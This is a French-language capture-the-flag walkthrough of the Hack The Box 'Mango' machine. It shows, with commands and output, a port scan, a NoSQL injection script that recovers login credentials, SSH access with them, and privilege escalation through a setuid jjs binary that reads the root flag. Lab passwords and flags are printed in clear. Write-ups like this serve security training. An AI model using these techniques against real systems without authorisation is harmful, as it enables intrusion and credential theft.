Catégories
Hack The Box

Hack The Box – Mango

On se retrouve aujourd’hui pour le walkthrough de la machine “Mango” d’Hack The Box. Cette machine est la première de difficulté medium que j’ai faite, elle est de niveau abordable.

Première approche

Comme d’habitude, on peut commencer par faire un scan des ports avec nmap. On utilise l’option -A pour la détection d’os et des versions des services.

$ nmap -A 10.10.10.162
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-17 14:43 CEST
Nmap scan report for staging-order.mango.htb (10.10.10.162)
Host is up (0.035s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Sweet & Juicy
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/17%OT=22%CT=1%CU=31451%PV=Y%DS=2%DC=T%G=Y%TM=5E99A4A
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT      ADDRESS
1   34.54 ms 10.10.14.1
2   34.83 ms staging-order.mango.htb (10.10.10.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.06 seconds

On remarque ici le port 443 qui est ouvert, soit le port de l’HTTPS. On va alors essayer d’accéder à https://10.10.10.162. Après l’acceptation d’un certificat douteux, on accède à ce qui ressemble à un moteur de recherche.

On peut remarquer une ligne intéressante dans le résultat de nmap.

Nmap scan report for staging-order.mango.htb (10.10.10.162)

On retrouve également l’adresse “staging-order.mango.htb” dans le certificat que nous avons accepté.
On va alors modifier le contenu de notre fichier /etc/hosts.

echo "10.10.10.162    staging-order.mango.htb" >> /etc/hosts

On peut alors se rendre sur le site, et on y découvre un formulaire avec login et mot de passe.

Own user

Le nom de la box nous met sur la voie : c’est MongoDB qui se cache derrière ce site !

Après une rapide recherche, on trouve sur Github un exploit pour MongoDB (NoSQL) : https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

On utilise d’abord ce script pour trouver les différents utilisateurs.

$ python nosqli-user-pass-enum.py -u http://staging-order.mango.htb -up username -pp password -ep username -op login:login,submit:submit
Warning: No method given. Using POST as the method. (You can give the method with -m)
[...]
Pattern found that starts with 'a'
Pattern found: ad
Pattern found: adm
Pattern found: admi
Pattern found: admin                                                                                                                            
username found: admin                                                                                                                           
[...]                                                                                                                     
Pattern found that starts with 'm'                                                                                                              
Pattern found: ma                                                                                                                               
Pattern found: man                                                                                                                              
Pattern found: mang                                                                                                                             
Pattern found: mango                                                                                                                            
username found: mango
[...]

On cherche ensuite les différents mots de passe.

$ python nosqli-user-pass-enum.py -u http://staging-order.mango.htb -up username -pp password -ep password -op login:login,submit:submit
Warning: No method given. Using POST as the method. (You can give the method with -m)
[...]                                                                                                                    
Pattern found that starts with 'h'                                                                                                              
Pattern found: h3                                                                                                                               
Pattern found: h3m                                                                                                                              
Pattern found: h3mX                                                                                                                             
Pattern found: h3mXK                                                                                                                            
Pattern found: h3mXK8                                                                                                                           
Pattern found: h3mXK8R                                                                                                                          
Pattern found: h3mXK8Rh                                                                                                                         
Pattern found: h3mXK8RhU                                                                                                                        
Pattern found: h3mXK8RhU~                                                                                                                       
Pattern found: h3mXK8RhU~f                                                                                                                      
Pattern found: h3mXK8RhU~f{                                                                                                                     
Pattern found: h3mXK8RhU~f{]                                                                                                                    
Pattern found: h3mXK8RhU~f{]f                                                                                                                   
Pattern found: h3mXK8RhU~f{]f5                                                                                                                  
Pattern found: h3mXK8RhU~f{]f5H                                                                                                                 
password found: h3mXK8RhU~f{]f5H                                                                                                                
[...]                                                                                                                     
Pattern found that starts with 't'                                                                                                              
Pattern found: t9                                                                                                                               
Pattern found: t9K                                                                                                                              
Pattern found: t9Kc                                                                                                                             
Pattern found: t9KcS                                                                                                                            
Pattern found: t9KcS3                                                                                                                           
Pattern found: t9KcS3>                                                                                                                          
Pattern found: t9KcS3>!                                                                                                                         
Pattern found: t9KcS3>!0                                                                                                                        
Pattern found: t9KcS3>!0B                                                                                                                       
Pattern found: t9KcS3>!0B#                                                                                                                      
Pattern found: t9KcS3>!0B#2                                                                                                                     
password found: t9KcS3>!0B#2
[...]

On a donc 2 users et 2 mots de passe : on va essayer de se connecter en ssh en tant que mango avec un des deux mots de passe, puis utiliser l’autre pour se connecter en tant qu’admin.

$ ssh mango@10.10.10.162
mango@10.10.10.162's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr 17 14:36:00 UTC 2020

  System load:  0.21               Processes:            116
  Usage of /:   26.0% of 19.56GB   Users logged in:      1
  Memory usage: 12%                IP address for ens33: 10.10.10.162
  Swap usage:   4%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr 17 14:21:31 2020 from 10.10.14.205
mango@mango:~$ su admin
Password: 
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)

Les couples user:password sont donc “mango:h3mXK8RhU~f{]f5H” et “admin:t9KcS3>!0B#2”.
On récupère ainsi le flag user.

$ pwd
/home/mango
$ cat ../admin/user.txt  
79bf31c6c6eb38a8567832f7f8b47e92

Own root

Maintenant qu’on a le flag user, on peut faire un petit peut d’énumération pour trouver un moyen de passer root.

Après quelques recherches, quelque chose attire mon attention lorsque je liste les binaires exécutables par l’utilisateur “admin”.

$ find / -type f -perm /6000 -ls 2>/dev/null
786500     32 -rwsr-xr-x   1 root     root        30800 Aug 11  2016 /bin/fusermount
786527     44 -rwsr-xr-x   1 root     root        43088 Oct 15  2018 /bin/mount
786585     28 -rwsr-xr-x   1 root     root        26696 Oct 15  2018 /bin/umount
786567     44 -rwsr-xr-x   1 root     root        44664 Jan 25  2018 /bin/su
786551     64 -rwsr-xr-x   1 root     root        64424 Mar  9  2017 /bin/ping
       66     40 -rwsr-xr-x   1 root     root        40152 May 15  2019 /snap/core/7713/bin/mount
[...]
263423     12 -rwsr-xr-x   1 root     root               10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
274666     12 -rwsr-sr--   1 root     admin              10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
274590    428 -rwsr-xr-x   1 root     root              436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
266298    100 -rwsr-sr-x   1 root     root              101240 Mar 15  2019 /usr/lib/snapd/snap-confine
262664     36 -rwxr-sr-x   1 root     shadow             34816 Apr  5  2018 /sbin/pam_extrausers_chkpwd
262696     36 -rwxr-sr-x   1 root     shadow             34816 Apr  5  2018 /sbin/unix_chkpwd
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

En effet, jjs va nous permettre d’exécuter du code JavaScript en lignes de commandes. On peut donc l’utiliser pour faire notre élévation de privilège via un reverse shell ou directement pour lire le contenu de /root/root.txt .

$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) print(line);
8a8ef79a7a2fbb01ea81688424e9ab15

Voici notre flag root, challenge terminé. Merci d’avoir suivi ce walkthrough et à bientôt !